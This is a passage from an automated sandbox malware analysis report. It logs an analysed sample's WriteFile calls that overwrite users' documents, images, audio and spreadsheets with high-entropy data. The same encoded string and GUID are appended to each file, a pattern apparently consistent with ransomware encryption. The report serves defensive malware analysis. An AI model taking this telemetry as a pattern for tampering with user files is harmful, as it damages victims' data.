fd 5e fd fd fd 1e fd 0d fd 
3a 7d 1c 71 fd 4c 1a fd fd 
63 fd fd fd fd fd fd 52 15 
20 fd fd fd fd 5a 1a fd 7d 
fd 5c 18 6e fd 70 fd 01 4c 
fd 3c 5b fd 69 7a 13 3c 
38 fd 36 7f fd 13 fd 51 fd 
fd 4e 29 73 fd 15 fd fd 45 
03 fd 7a 71 fd fd fd fd 0c 
2e 4c fd 1b 2e fd 59 04 fd 
fd 91 fd 39 fd fd fd 78 fd 
fd 3f fd fd 07 fd fd fd 0f fd 
fd 63 fd fd fd fd 08 fd 2f 
70 fd 08 fd fd 4a 36 2e fd 
fd 53 07 c4 fd 2a 3e fd fd 
20 75 fd fd 43 fd 46 fd 38 
3f 7b fd 05 0f fd 66 5a 08 
fd 5f 6e 2d fd 1b 6e fd 36 
1f fd 

v"SSf6d?IjXcp7Z}?
Mue/CFqNz68n!pY?
_\`;^:qLcR 
Z}\npL<[iz<86QN)
sEzq.L.Y9x?c/pJ6S*> 
uCF8?{fZ_n-n6

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\CURQNKVOIX.jpg

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\CURQNKVOIX.jpg

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
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C:\Users\user\Desktop\WUTJSCBC
FX\JSDNGYCOWY.xlsx

5 1021 fd fd 5b fd 5a fd 0f 48 fd 
15 fd 47 33 6f 32 2b fd fd 
5f 73 fd 13 4a fd 4c fd fd 
33 fd 6a fd fd fd 6d a8 4f 
2d 69 0b 37 79 fd 75 33 
28 fd fd fd fd 40 76 fd 39 
48 fd 33 79 fd fd 4a fd 7d 
fd fd 56 fd 40 fd 88 79 02 
4f fd 4e 47 fd 44 42 36 2e 
fd 5e 37 7a fd 2c 76 3b 
4d 69 34 23 fd fd 29 01 
4b 06 fd 60 52 fd 02 10 
40 69 39 78 08 46 7e fd 
fd 5d 43 fd 61 fd fd fd fd 
28 fd fd fd 35 fd 51 27 67 
fd fd fd 1a fd 29 fd fd fd fd 
fd 46 fd fd fd 0e fd fd 1f fd 
6b 25 fd fd 25 fd 70 fd 1d 
03 7e fd 5f fd fd fd 2d 75 
fd fd 6d 73 fd fd 0a 35 fd 
6b fd 50 4c 61 fd fd 13 fd 
fd fd fd fd fd 5c 1f 07 00 
fd 3f 32 05 6c fd 6b 5b 22 
2f 54 40 3d fd 89 1e 67 fd 
3d fd 58 fd fd 4d 30 fd 34 
71 fd 6a 4d 4e 54 7c 04 
69 fd fd 23 fd fd 51 33 5b 

[ZHG3o2+_sJL3jm-
i7yu3(@9H3yJ}V
@yONGDB6.^7z,v;Mi#)K
R@i9xF~]Ca
(5Q'g)Fk%%p~_-
ums5kPLa\?2lk["/
T@=g=X04qjMNT|i#Q3[

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\JSDNGYCOWY.xlsx

1026 256 3f fd 70 fd fd fd 71 45 53 
fd 1f 53 fd 3e fd fd fd fd fd 
09 2e 7c 6b 49 6f 33 fd 
02 60 77 fd 72 40 fd 47 fd 
fd fd fd 21 15 5e fd fd 51 
fd 42 fd fd fd 46 fd fd 71 
5b fd 11 fd 99 fd fd fd 12 
fd 23 0b fd 5e fd c2 fd 76 
fd 79 01 73 2b 66 fd 3d fd 
fd 46 73 66 fd fd 0c fd 53 
6e 77 fd 69 01 07 fd 5c 
3d fd fd 55 1e 5d fd 3e fd 
fd 31 3f 0e fd fd 73 06 fd 
44 fd 05 24 39 fd 68 fd fd 
7d fd 65 fd 2a fd 01 50 fd 
fd 7f 1a fd 35 0e 36 fd fd 
71 fd fd 7b fd 17 c5 0f fd 
fd 3e fd 59 fd 62 28 54 fd 
5e fd 10 fd fd 6c fd 3a fd 
fd fd fd 7d fd 10 fd 41 08 
fd 38 fd 49 fd 3e 08 fd 03 
fd fd fd 30 fd 7c fd 43 fd 
68 fd fd 2a 29 fd fd 30 fd 
04 70 14 fd fd 64 66 fd fd 
67 18 40 fd 19 53 fd fd 01 
fd fd fd 17 61 fd fd fd 33 
11 68 fd fd 74 fd 65 

?
pqESS>.|ko3`wr@!^QBF
q[#^vys+f
=FsfSnwi\=U>1?
sD$9h}e*P56q>Yb(
T^l:}A8I>0|Ch*)0pdfg@S
a3hte

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\JSDNGYCOWY.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\JSDNGYCOWY.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Desktop\WUTJSCBC
FX\MXPXCVPDVN.mp3

5 1021 04 2c 69 fd fd 6e 52 fd 12 
fd fd fd fd fd 5a 19 7d fd 
5c 51 64 fd fd 34 45 7b fd 
fd fd 0d 1d fd 48 fd fd fd 
1a 1d fd fd 61 13 fd 11 fd 
fd 31 26 24 fd 11 fd fd 1e 
64 71 fd fd fd fd 2e fd fd fd 
fd 12 fd fd fd fd 35 68 fd 
49 fd fd 5e fd 3e 31 fd 1a 
47 fd fd fd fd 0e fd fd 5c 
03 68 57 fd 67 fd 62 fd fd 
fd 63 fd 30 fd 4e fd fd 62 
fd fd fd 70 03 fd fd 20 fd 
34 52 fd fd 6e 7e 7a 11 
34 2b 53 fd 51 fd fd 5d fd 
fd fd 6e fd fd 6b 10 78 65 
23 25 04 fd 1b 69 fd fd 01 
fd fd fd fd 0d fd fd fd fd 63 
4c 0c 2b 28 be 6f fd 40 fd 
46 fd fd 52 4d 54 67 76 fd 
fd fd fd 3b 35 44 fd fd fd 
20 fd 56 28 2a fd fd 36 7d 
44 70 34 fd fd 79 fd 6a fd 
3e fd e0 fd 26 48 fd fd fd 
fd fd fd fd 6d fd fd fd 7b 
72 01 fd 03 fd 56 fd fd 6e 
09 5e 13 35 2d 24 fd 24 
fd 3f fd 

,inRZ}\Qd4E{Ha1&$dq.5h
I^>1G\hWgbc0Nbp 
4Rn~z4+SQnkxe#%ic+
(o@FRMgv;5D 
V(*6}Dp4yj>&Hm{rVn^5-$
$?

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\MXPXCVPDVN.mp3

1026 256 19 7e 79 35 24 fd 72 66 
2a fd fd ad 7c fd 68 fd fd 
fd 43 fd fd 34 07 5f 2c fd 
7b 4e 1b 5e fd fd fd 02 1f 
fd fd 57 fd fd 09 32 fd c4 
3f fd fd 5b fd fd 4a fd fd 
04 fd 5d fd fd 33 fd 19 fd 
fd 75 26 52 f6 fd fd 77 fd 
fd fd 17 fd 49 fd fd 39 69 
fd 33 69 fd fd 03 0b 50 50 
7a 29 fd 2a 74 fd 6d fd 2b 
4e 1e fd fd 70 fd fd 71 fd 
1b fd fd fd 46 5e fd fd 3f 
6e fd 1b 73 fd fd 1f 5d 13 
54 78 4a 53 fd 0b fd 22 
2d 7f 75 fd 10 fd 10 fd fd 
fd fd 18 fd fd fd 3b 79 fd 
4e fd 3a fd 7d fd fd 5d fd 
16 47 fd fd 13 44 0d fd fd 
08 fd fd 55 fd fd 4f f8 16 
6c 32 fd fd fd 72 5a 0c fd 
66 fd 7c 1e b5 fd fd 3f 1a 
fd fd fd 72 fd fd fd 16 b4 
5b fd fd fd 70 3b fd 3a 68 
fd fd fd 2d fd fd 33 fd 61 
27 58 fd fd fd 40 fd fd 45 
1e fd 06 fd fd 

~y5$rf*|hC4_,{N^W2?
J]3u&RwIi3i
PPz)*tm+NpqF^?
ns]TxJS"-u;yN:}]
GDUl2rZf|?r[p;:h-3a'X@E

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\MXPXCVPDVN.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\MXPXCVPDVN.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Desktop\WUTJSCBC
FX\VAMYDFPUND.png

5 1021 fd fd 4e 4b 1f 77 fd 6f 13 
fd 62 42 fd 22 fd 5d 05 01 
fd 38 fd fd 53 44 5d 5c fd 
6e fd ca fd 36 fd 65 c3 fd 
67 fd fd fd fd 67 4c 11 01 
57 60 68 0e 2a 6c 3e 56 
7a fd fd db fd 2a fd 6f fd 
52 fd 1f fd fd 4a 21 fd 0d 
3d fd fd 1d 7a 2a fd 38 7d 
78 32 fd fd 4f fd 46 fd 5e 
fd 50 63 fd fd 51 25 fd 3d 
fd 10 1f fd fd fd 6f 4d fd 2f 
6d fd fd 60 fd 32 fd fd 11 
5f fd fd 32 fd 74 fd 41 fd 
4e fd fd 2a fd 1f 2f fd fd 
17 38 11 fd 72 7e fd fd 5a 
61 fd 06 9d 75 27 fd fd fd 
fd fd 46 fd 3a fd 53 fd 4f 
fd 01 fd 42 6d fd fd 7a 73 
32 64 fd fd 1b fd fd 3e fd 
07 fd 3d fd fd 4c fd 24 50 
fd fd 38 fd fd fd fd 67 fd 5f 
fd 7c 2f 7d fd 08 fd fd fd 
fd 0f 64 fd 35 7d fd fd 1d 
2d 2c fd fd fd fd fd 3f 54 fd 
fd fd fd fd 42 fd 8b 0a fd 
69 50 fd 38 fd 5f 

NKwobB"]8SD]\n6eggW`
h*l>Vz*oRJ
!=z*8}x2OF^Pc%=oM/m`
2_2tAN*/8r
~Zau'F:SOBmzs2d>=L$P
8g_|/}d5}-,?TBiP8_

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\VAMYDFPUND.png

1026 256 01 fd 0e fd 58 54 fd 52 fd 
fd 15 13 31 77 3d 7a 76 
fd fd fd 73 71 2c fd 76 2e 
64 6c 3f fd 6c fd 1f fd fd fd 
fd 4c fd fd 38 5f 4f 3d 73 
4b 2c fd 4f fd 31 fd fd fd 
57 79 fd fd 64 69 6b 65 
18 65 6b 4a 5b fd 7a 17 
fd 3d fd 39 fd 3e fd 5f fd 
63 5e fd 04 fd fd 3f 32 6b 
7d 36 52 59 fd 8a fd 07 fd 
02 fd 19 fd 0e fd fd fd fd 
4b fd 12 fd fd 66 1e fd fd 
62 37 67 fd 34 fd 64 fd 2b 
fd 2e fd fd 0e 5b fd 30 65 
fd 53 fd 49 78 67 66 fd 63 
58 4c 62 fd fd 55 fd 3c 05 
5f 1e fd 76 50 68 22 23 fd 
fd 0b ae fd 14 fd 6d fd fd 
17 fd fd fd 7d fd fd 78 52 
67 6e fd 66 fd 66 fd 6e fd 
2b 38 fd fd 68 20 1f fd 0b 
fd 47 fd 78 fd fd 0e 19 48 
fd fd 0c 1f 5d 0d fd 2e 17 
55 2f 39 fd 6c fd 6c 4b 3e 
14 fd fd fd 5f fd 60 7e 52 
fd 60 fd fd 7a 72 fd a4 

XTR1w=zvsq,v.dllL8_Os
K,1WydikeekJ[z=9>_c^?
2k}6RYKfb7g4d.[eIx
gfcXLbU<_vPh"#m}xRgnf
fn+8h GxH].U/9llK>_R`zr

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\VAMYDFPUND.png

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\VAMYDFPUND.png

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Desktop\WUTJSCBC
FX\WUTJSCBCFX.docx

5 1021 3b 52 fd fd 04 02 79 00 
63 fd 4e fd 2f 37 fd fd fd 
1b 55 fd 2c fd 07 fd 1e 14 
36 1d 7c 34 22 fd 50 fd 
38 07 fd fd 6b fd 2e 25 24 
fd 4f fd fd 65 63 1e 10 fd 
0b 3a fd 3f 85 73 fd fd fd 
51 0e 23 fd 13 fd 24 fd fd 
66 fd fd 7f 4b 7e fd 73 3c 
fd fd 73 34 fd fd 3a 82 fd 
fd fd 19 fd fd fd 33 39 34 
6d fd fd fd fd 3a fd fd 3c 
72 3b fd fd 3e 67 fd 0a 2c 
65 fd fd fd fd fd fd 2e fd fd 
2c fd fd fd fd c1 35 fd fd 
49 30 6c 6a 34 58 fd fd 
60 36 fd 09 fd fd fd 7e fd 
fd 72 fd fd 45 fd fd ef fd fd 
06 fd fd fd 1e fd 2e 0c fd 
62 2f 19 77 fd 49 fd fd fd 
0a 5a fd fd fd 71 fd fd 26 
fd 29 74 fd 57 fd fd 47 fd 
5c 57 fd fd 7b fd 5a fd fd 
fd fd fd fd 04 71 fd 51 46 
e9 47 6b fd 78 fd fd fd fd 
fd 67 fd 5d fd fd 6c fd 7c 
45 8a 17 fd fd fd 2f 

;RycN/7U,6|4"P8k.%$Oe
c:?sQ#$fK~ss4:394m:
<r;>g,e.,5I0lj4X`6~r
E.b/wIZq&)tWG\W{ZqQF
Gkxg]l|E/

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\WUTJSCBCFX.docx

1026 256 24 03 fd fd 4f fd 7f 7a 1d 
fd fd 08 7f 1e 17 fd 19 2c 
3e fd 5d 11 1e fd 0b 3a fd 
47 22 fd fd 69 58 30 43 
62 fd fd fd fd 25 fd 78 fd 3f 
fd 16 7a fd fd fd fd 6e fd 
6c fd 10 fd fd fd fd fd 0c fd 
4e 30 fd 37 fd 59 57 18 
57 72 09 41 27 0e fd 0f fd 
33 66 3f fd fd 09 33 14 fd 
6b 3b fd fd fd 53 fd fd fd 
7b fd fd fd 33 3c 76 fd 21 
3e fd fd 1d 38 17 cf 6a fd 
fd 1c fd 72 fd 6e fd fd 74 
fd 7c fd 6b 60 4c fd 04 fd 
fd 35 4c 74 fd fd 6c fd fd 
0d fd fd fd 4d 33 fd 40 fd 
b8 fd fd 60 fd fd 76 fd fd 
fd 19 1e 5f 3d fd fd fd 4e 
fd fd fd 35 fd 53 15 72 01 
12 fd 2c fd fd 5c 7b fd fd 
28 fd 7c b5 58 fd fd 1f 40 
fd 72 24 fd fd 66 54 56 fd 
09 1d 54 06 fd fd 65 fd fd 
64 01 70 16 32 24 fd fd fd 
0c 56 fd fd fd 1b 05 fd fd 
56 fd fd fd 69 fd 49 76 fd 
fd fd 

$Oz,>]:G"iX0Cb%x?
znlN07YWWrA'3f?
3k;S{3<v!>8jrnt|k`L5LtlM3
@`v_=N5Sr,\
{(|r$fTVTedp2$VViIv

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\WUTJSCBCFX.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\WUTJSCBC
FX\WUTJSCBCFX.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\DVWHKM
NFNN\DVWHKMNFNN.docx

5 1021 32 fd f4 fd fd fd 4e fd fd fd 
3f fd 7d 5b 50 73 7f 6d 3e 
79 fd 61 6d 40 fd 15 fd fd 
fd 33 fd 2c fd fd 62 fd fd 
fd f9 46 fd 5b 66 fd 2a 71 
26 fd 51 1d 08 6c 0b fd fd 
fd fd 0b fd ae 77 7b fd fd 
fd 76 fd 09 da fd 4f 51 76 
fd 0d fd 10 fd 42 60 60 fd 
00 69 fd fd fd 5f 72 fd 6a 
0b fd 6c 43 fd 69 6c fd fd 
6e 1c fd 1d 1d fd fd 6a fd 
fd 27 fd 2c 47 59 fd fd fd 
64 fd 60 9b 04 fd 6d 1e 
09 16 fd 4b 25 7b fd 7c fd 
fd fd 46 4c 07 10 4d fd 7c 
fd fd 06 75 fd 36 fd 3b 4b 
fd fd fd fd fd fd fd 0a fd 21 
40 07 fd 41 fd 0a fd fd fd 
05 74 fd 01 67 6b fd 2c 
38 6c fd fd 4f 71 74 fd 21 
42 fd fd fd 5e 39 fd 0c 5c 
79 fd 5c fd fd 51 5d fd fd 
22 70 42 fd 47 fd 66 fd 54 
fd 06 ba 50 fd fd 07 fd 50 
fd fd fd dc 69 4b fd fd fd fd 

2N?}Psm>ym@3,b[f*q&
Qw{vOQvB``i
_rjlCilnj',GYd`mK%
{|FLM|6;K!@A
tgk,lOt!B^9\y\Q"pBGfTPP
iK

success or wait 1 411859 WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\DVWHKMNFNN.docx

1026 256 fd 77 fd fd 15 10 4b fd 26 
62 fd fd fd 30 40 fd fd 5f 
fd 0c fd 54 3b 51 fd fd fd 
07 56 0c fd 3c 41 fd 6e 
0b fd 3c fd fd 30 fd 08 fd 
59 2c 1b 57 61 fd 27 fd 
41 7d fd fd 4c fd fd fd fd fd 
fd fd fd 1a 01 fd fd 53 fd 
19 0e 6c fd fd 1b 5f 1a fd 
fd fd fd 56 6a 7e fd fd fd 
fd 4c 3b fd 4d 35 33 fd fd 
fd 06 59 2a 7e a7 5c 28 
fd 13 33 fd fd 05 fd 54 25 
fd 1a fd 6e 2c 59 40 fd ae 
12 fd 1b fd fd 67 1c 2e fd 
1d fd 37 fd 6c 3c fd fd 27 
23 37 2b 5f 36 fd 1b 05 
72 fd 2e fd 00 05 fd fd 6e 
11 fd 63 15 20 4e fd 5f 2b 
fd 36 77 40 30 fd 34 fd 44 
17 34 fd fd fd 62 57 fd 0b 
53 8f fd 64 fd 22 fd 51 fd 
5e fd 0d 44 08 2e 76 41 
fd fd fd fd fd fd 45 fd 39 
61 fd fd 7c fd 52 7d fd 55 
21 7d fd fd 79 fd fd 76 6e 
6a b5 2c fd 62 fd 83 fd 5b 
5c 

wK&b0@_T;QV<An<0Y,
Wa'A}SlVj~L;M53Y*~\
(3T%n,Y@g.7l<'#7+_6r.n
c 
N_+6w@0D4bWSd"Q^D.
vAE9a|R}U!}yvnj,b[\

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\DVWHKMNFNN.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\DVWHKMNFNN.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\DVWHKM
NFNN\KZWFNRXYKI.mp3

5 1021 24 42 f0 fd fd fd 0a fd fd 
3b fd c3 64 fd 1b fd fd 3c 
2a fd fd 55 7c fd 79 fd 20 
0b 76 19 0a 17 fd 2f fd 33 
2e fd fd 39 fd fd fd 7d 3f 
5e 68 3b c8 fd 1b 5f f1 25 
4d 34 2e 7e fd 11 fd 6e fd 
0b fd 15 74 fd fd fd 0d fd 
68 0c fd fd fd 1f fd 48 4b 
7d fd bb fd 34 64 fd 6a 11 
2f fd 40 32 0a fd 3c 63 fd 
7b fd fd fd 4f 2c fd fd fd 79 
fd 2d 3d fd 5a 01 5b 47 fd 
fd 24 fd 79 61 38 fd fd 48 
59 7d fd 63 39 42 6e fd 
54 fd fd 73 62 fd 48 fd fd 
03 fd fd 7e fd fd fd 65 46 
5b fd 25 6d 4c 38 66 fd fd 
fd fd 11 fd fd 73 fd fd 76 
fd fd 65 fd 0e fd 55 5c 57 
6a 1f 21 fd 3e fd 79 47 5f 
fd 24 fd fd fd 07 0f fd fd 
54 62 3f fd 1f 12 fd 64 3f 
c3 fd 6a fd fd 12 fd 5f fd 
53 5a 35 65 fd 1a 4e fd 
64 53 6c fd 66 08 21 fd fd 
56 2f 5d fd 47 7c f4 70 

$B;d<*U|y v/3.9?
^h;_%M4.~nthHK
}4dj/@2<c{O,y-
=Z[G$ya8HY}c9BnT
sbHeF[%mL8fsveU\Wj!>y
G_$Tb?d?j
_SZ5eNdlf!V/G|p

success or wait 1 411859 WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\KZWFNRXYKI.mp3

1026 256 6f fd 11 fd fd fd 7f 74 56 
0d fd 22 fd fd 08 75 fd fd 
02 fd 04 fd 40 fd 57 fd f2 
fd 1d 03 fd fd 3f fd 33 4e 
fd 7e fd fd fd 3b fd 1c 0b 
fd fd 64 fd fd fd 16 2e 6e 
fd 77 34 fd fd 0f fd a4 43 
1c 02 fd 85 1f 40 2b fd 01 
26 55 35 fd 50 78 27 5d 
71 32 6d fd 4a fd fd 6d 48 
17 3e 31 fd fd 7b fd 75 23 
3d 26 70 d9 2f fd fd 4b fd 
fd fd 36 03 18 fd 68 0a 30 
ad fd 51 fd fd fd a9 45 7d 
fd fd 09 2d fd fd 43 22 fd 
64 fd fd 45 56 61 8d fd fd 
22 54 fd de 4b fd fd fd 79 
fd fd 2f fd fd fd 07 fd 0a fd 
48 39 49 fd fd 7f 78 fd fd 
74 44 fd 0c fd fd 49 1a fd 
fd 65 fd fd 1f 22 fd 18 fd 
36 fd 32 fd ac 15 73 fd fd 
7f fd 6d 22 01 65 6b fd fd 
66 7f 63 55 bb fd 0c 3a 
30 fd 3d fd 7b 39 51 fd ba 
fd 2e 14 fd 5c fd fd 

otV"u@W?
3N~;d.nw4C@+&U5P']q2
mJmH>
{u#=&p/K6h0QE}-
C"dEVa"TKy/H
9IxtDIe"62sm"ekfcU:0=
{9.\

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\KZWFNRXYKI.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\KZWFNRXYKI.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\DVWHKM
NFNN\LTKMYBSEYZ.xlsx

5 1021 fd 5a fd 62 4c fd fd 0d fd 
fd 24 0e fd 3b fd 5a fd fd 
ff 0b 1e 6e 03 fd fd 72 fd 
fd fd 6b 07 3a fd 5d fd fd 
5d 06 55 fd 03 32 fd 19 
75 63 fd 43 57 fd fd 2d 35 
fd 4a fd 7e fd fd 25 77 49 
47 fd 4c fd 1f 17 fd fd 64 
fd fd fd 18 24 fd fd 58 fd 
54 04 17 12 26 fd 6d 68 
fd fd fd fd fd fd fd fd 21 fd 
fd 24 67 fd fd 73 7e 07 fd 
fd 54 fd 54 fd 01 fd fd 02 
fd fd fd fd fd 51 18 6a fd 
6e 29 54 3b 60 7c fd 2a 
de 57 62 bd 35 72 fd fd 
26 fd 23 42 15 fd fd 3b fd 
fd fd fd 68 50 fd fd 6b 3d 
28 01 fd fd 79 fd fd 33 fd 
1d fd 0e 2a 63 fd ee 77 4f 
6e a6 fd 42 b6 fd fd 36 fd 
38 32 fd 2d fd fd 43 fd fd 
24 fd 09 60 52 fd fd fd fd 
fd 32 fd fd 7e fd fd fd 7d 
fd fd fd fd fd 30 41 fd 7e 
03 fd 33 fd 7c fd fd fd fd 
44 fd 13 63 fd 

ZL$;Znrk]]U2ucCW-
5~%wIGLd$XT&m
h!$gs~TQjn)T;`|*Wb5r&B;
hPk=(y3*cwOn682-
C$`2~}0A~3|Dc

success or wait 1 411859 WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\LTKMYBSEYZ.xlsx

1026 256 29 fd 11 59 fd 16 3a fd 50 
1f fd fd fd 6f 45 39 4e 40 
30 fd 73 fd 21 60 27 fd fd 
fd fd fd fd fd 01 4b 23 d8 
fd 49 46 22 2f fd fd 7e 4e 
fd fd 57 7f 1d fd 09 4d 20 
fd 77 fd aa 2a fd aa 79 fd 
fd 0f 9a 44 28 fd fd 06 fd 
5d 48 48 fd fd fd fd 6c 05 
6f fd fd fd 00 56 fd 32 0e 
0d 58 71 64 fd 74 40 fd fd 
fd fd 6d fd 48 7a 78 1f fd 
3d 68 38 fd 5e fd 0d fd fd 
fd fd 62 5e fd 45 21 fd fd 
54 6b fd fd fd fd fd fd fd 
16 fd 5f 20 fd 3d fd 70 fd 
fd fd fd 04 1b 62 22 fd 66 
fd 20 fd fd fd 77 fd a3 0c 
51 e3 47 fd fd 1c 6d fd 5e 
1b fd fd 62 fd fd 66 fd fd 
28 fd 6d fd fd fd 41 57 76 
6a 0f fd fd 35 fd fd 11 29 
26 bf 49 fd fd 4f fd 7a 39 
fd fd 76 fd fd fd fb fd 64 
71 fd 7c 5b 56 21 fd fd 9e 
fd fd fd fd 66 fd 31 14 fd 
fd fd 33 fd 7c 

)Y:Po9N@0s!`'K#IF"/~N
WM w*yD(]
HHloV2Xqdt@mHzx=h8^
b^E!Tk_ =pb"f 
wQGm^bf(mAWvj5)&IOz
9vdq|[V!f13

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\LTKMYBSEYZ.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\LTKMYBSEYZ.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 170 of 219



C:\Users\user\Documents\DVWHKM
NFNN\NWTVCDUMOB.pdf

5 1021 4b 18 6c 19 fd fd 67 37 
53 33 16 fd fd fd 7c fd fd 
16 fd 6a fd fd 53 68 32 fd 
19 fd fd 1c fd 1d fd 19 69 
fd 75 1b 0d c1 1b 62 fd fd 
fd fd e8 fd ac 27 fd fd 5a 
7d 1d 76 fd 22 fd fd fd 02 
1e fd 1d 0a 1c 10 fd 4e 
09 48 19 fd 46 fd fd fd 67 
fd 28 fd 46 71 5b 14 58 fd 
fd 56 fd 00 18 6d 25 fd 3c 
26 6c 52 fd fd fd fd 24 64 
7b fd fd fd 13 22 37 59 fd 
23 fd fd fd 3a fd fd 7a 4b 
06 3a b2 fd fd fd ce 13 64 
fd 0d fd fd 10 fd fd 65 fd 
7a fd fd 0f fd 64 fd 29 fd 
fd 2c fd 01 31 53 fd fd 43 
7f fd 6f 3a 12 5d 67 eb fd 
fd 03 fd 6b fd fd 52 3e 20 
7a 0f fd 0a 7b fd fd fd 17 
fd fd 4b 20 4f 17 fd 75 fd 
6c 31 73 fd 0a fd 10 32 
0c 4f fd fd 71 fd 08 19 04 
fd 66 5b fd fd 76 18 fd fd 
fd 65 43 0d fd 5d fd 76 79 
fd 5a fd fd 09 19 fd 12 49 
fd 0f fd fd 57 

Klg7S3|jSh2iub'Z}v"NHFg
(Fq[Vm%
<&lR$d{"7Y#:zK:dez),1S
Co:]gkR> z{K 
Oul1s2Oqf[veC]vyZIW

success or wait 1 411859 WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\NWTVCDUMOB.pdf

